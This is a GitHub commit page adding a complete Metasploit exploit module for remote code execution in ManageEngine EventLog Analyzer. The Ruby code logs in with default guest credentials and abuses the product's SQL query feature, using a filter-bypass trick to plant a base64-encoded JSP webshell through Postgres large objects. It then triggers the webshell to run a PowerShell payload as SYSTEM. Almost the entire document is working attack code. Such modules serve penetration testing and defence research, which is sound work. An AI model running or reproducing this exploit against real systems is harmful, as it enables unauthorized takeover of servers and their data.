Skip to content

Commit b206de7

Browse files
committed
Land rapid7#5981, @xistence's ManageEngine EventLog Analyzer Remote Code Execution exploit
2 parents c85913f + 55f573b commit b206de7

File tree

1 file changed

+218
-0
lines changed

1 file changed

+218
-0
lines changed
Lines changed: 218 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,218 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ManualRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::FileDropper
13+
include Msf::Exploit::Powershell
14+
15+
def initialize(info={})
16+
super(update_info(info,
17+
'Name' => 'ManageEngine EventLog Analyzer Remote Code Execution',
18+
'Description' => %q{
19+
This module exploits a SQL query functionality in ManageEngine EventLog Analyzer v10.6
20+
build 10060 and previous versions. Every authenticated user, including the default "guest"
21+
account can execute SQL queries directly on the underlying Postgres database server. The
22+
queries are executed as the "postgres" user which has full privileges and thus is able to
23+
write files to disk. This way a JSP payload can be uploaded and executed with SYSTEM
24+
privileges on the web server. This module has been tested successfully on ManageEngine
25+
EventLog Analyzer 10.0 (build 10003) over Windows 7 SP1.
26+
},
27+
'License' => MSF_LICENSE,
28+
'Author' =>
29+
[
30+
'xistence <xistence[at]0x90.nl>' # Discovery, Metasploit module
31+
],
32+
'References' =>
33+
[
34+
['EDB', '38173']
35+
],
36+
'Platform' => ['win'],
37+
'Arch' => ARCH_X86,
38+
'Targets' =>
39+
[
40+
['ManageEngine EventLog Analyzer 10.0 (build 10003) / Windows 7 SP1', {}]
41+
],
42+
'Privileged' => true,
43+
'DisclosureDate' => 'Jul 11 2015',
44+
'DefaultTarget' => 0))
45+
46+
register_options(
47+
[
48+
Opt::RPORT(8400),
49+
OptString.new('USERNAME', [ true, 'The username to authenticate as', 'guest' ]),
50+
OptString.new('PASSWORD', [ true, 'The password to authenticate as', 'guest' ])
51+
], self.class)
52+
end
53+
54+
def uri
55+
target_uri.path
56+
end
57+
58+
59+
def check
60+
# Check version
61+
vprint_status("#{peer} - Trying to detect ManageEngine EventLog Analyzer")
62+
63+
res = send_request_cgi({
64+
'method' => 'GET',
65+
'uri' => normalize_uri(uri, 'event', 'index3.do')
66+
})
67+
68+
if res && res.code == 200 && res.body && res.body.include?('ManageEngine EventLog Analyzer')
69+
return Exploit::CheckCode::Detected
70+
else
71+
return Exploit::CheckCode::Safe
72+
end
73+
end
74+
75+
def sql_query(cookies, query)
76+
res = send_request_cgi({
77+
'method' => 'POST',
78+
'uri' => normalize_uri(uri, 'event', 'runQuery.do'),
79+
'cookie' => cookies,
80+
'vars_post' => {
81+
'execute' => 'true',
82+
'query' => query,
83+
}
84+
})
85+
86+
unless res && res.code == 200
87+
fail_with(Failure::Unknown, "#{peer} - Failed executing SQL query!")
88+
end
89+
90+
res
91+
end
92+
93+
94+
def generate_jsp_payload(cmd)
95+
96+
decoder = rand_text_alpha(4 + rand(32 - 4))
97+
decoded_bytes = rand_text_alpha(4 + rand(32 - 4))
98+
cmd_array = rand_text_alpha(4 + rand(32 - 4))
99+
jsp_code = '<%'
100+
jsp_code << "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n"
101+
jsp_code << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n"
102+
jsp_code << "String [] #{cmd_array} = new String[3];\n"
103+
jsp_code << "#{cmd_array}[0] = \"cmd.exe\";\n"
104+
jsp_code << "#{cmd_array}[1] = \"/c\";\n"
105+
jsp_code << "#{cmd_array}[2] = new String(#{decoded_bytes}, \"UTF-8\");\n"
106+
jsp_code << "Runtime.getRuntime().exec(#{cmd_array});\n"
107+
jsp_code << '%>'
108+
109+
jsp_code
110+
end
111+
112+
113+
def exploit
114+
115+
print_status("#{peer} - Retrieving JSESSION ID")
116+
res = send_request_cgi({
117+
'method' => 'GET',
118+
'uri' => normalize_uri(uri, 'event', 'index3.do'),
119+
})
120+
121+
if res && res.code == 200 && res.get_cookies =~ /JSESSIONID=(\w+);/
122+
jsessionid = $1
123+
print_status("#{peer} - JSESSION ID Retrieved [ #{jsessionid} ]")
124+
else
125+
fail_with(Failure::Unknown, "#{peer} - Unable to retrieve JSESSION ID!")
126+
end
127+
128+
print_status("#{peer} - Access login page")
129+
res = send_request_cgi({
130+
'method' => 'POST',
131+
'uri' => normalize_uri(uri, 'event', "j_security_check;jsessionid=#{jsessionid}"),
132+
'vars_post' => {
133+
'forChecking' => 'null',
134+
'j_username' => datastore['USERNAME'],
135+
'j_password' => datastore['PASSWORD'],
136+
'domains' => "Local Authentication\r\n",
137+
'loginButton' => 'Login',
138+
'optionValue' => 'hide'
139+
}
140+
})
141+
142+
if res && res.code == 302
143+
redirect = URI(res.headers['Location'])
144+
print_status("#{peer} - Location is [ #{redirect} ]")
145+
else
146+
fail_with(Failure::Unknown, "#{peer} - Access to login page failed!")
147+
end
148+
149+
150+
# Follow redirection process
151+
print_status("#{peer} - Following redirection")
152+
res = send_request_cgi({
153+
'uri' => "#{redirect}",
154+
'method' => 'GET'
155+
})
156+
157+
if res && res.code == 200 && res.get_cookies =~ /JSESSIONID/
158+
cookies = res.get_cookies
159+
print_status("#{peer} - Logged in, new cookies retrieved [#{cookies}]")
160+
else
161+
fail_with(Failure::Unknown, "#{peer} - Redirect failed, unable to login with provided credentials!")
162+
end
163+
164+
165+
jsp_name = rand_text_alphanumeric(4 + rand(32 - 4)) + '.jsp'
166+
167+
cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
168+
jsp_payload = Rex::Text.encode_base64(generate_jsp_payload(cmd)).gsub(/\n/, '')
169+
170+
171+
print_status("#{peer} - Executing SQL queries")
172+
173+
# Remove large object in database, just in case it exists from previous exploit attempts
174+
sql = 'SELECT lo_unlink(-1)'
175+
result = sql_query(cookies, sql)
176+
177+
# Create large object "-1". We use "-1" so we will not accidently overwrite large objects in use by other tasks.
178+
sql = 'SELECT lo_create(-1)'
179+
result = sql_query(cookies, sql)
180+
if result.body =~ /menuItemRow\">([0-9]+)/
181+
loid = $1
182+
else
183+
fail_with(Failure::Unknown, "#{peer} - Postgres Large Object ID not found!")
184+
end
185+
186+
select_random = rand_text_numeric(2 + rand(6 - 2))
187+
# Insert JSP payload into the pg_largeobject table. We have to use "SELECT" first to to bypass OpManager's checks for queries starting with INSERT/UPDATE/DELETE, etc.
188+
sql = "SELECT #{select_random};INSERT INTO/**/pg_largeobject/**/(loid,pageno,data)/**/VALUES(#{loid}, 0, DECODE('#{jsp_payload}', 'base64'));--"
189+
190+
191+
result = sql_query(cookies, sql)
192+
193+
# Export our large object id data into a WAR file
194+
sql = "SELECT lo_export(#{loid}, '..//..//webapps//event/#{jsp_name}');"
195+
196+
sql_query(cookies, sql)
197+
198+
# Remove our large object in the database
199+
sql = 'SELECT lo_unlink(-1)'
200+
result = sql_query(cookies, sql)
201+
202+
register_file_for_cleanup("..\\webapps\\event\\#{jsp_name}")
203+
204+
print_status("#{peer} - Executing JSP payload")
205+
res = send_request_cgi({
206+
'method' => 'GET',
207+
'uri' => normalize_uri(uri, jsp_name),
208+
})
209+
210+
# If the server returns 200 we assume we uploaded and executed the payload file successfully
211+
unless res && res.code == 200
212+
print_status("#{res.code}\n#{res.body}")
213+
fail_with(Failure::Unknown, "#{peer} - Payload not executed, aborting!")
214+
end
215+
216+
end
217+
218+
end

0 commit comments

Comments
 (0)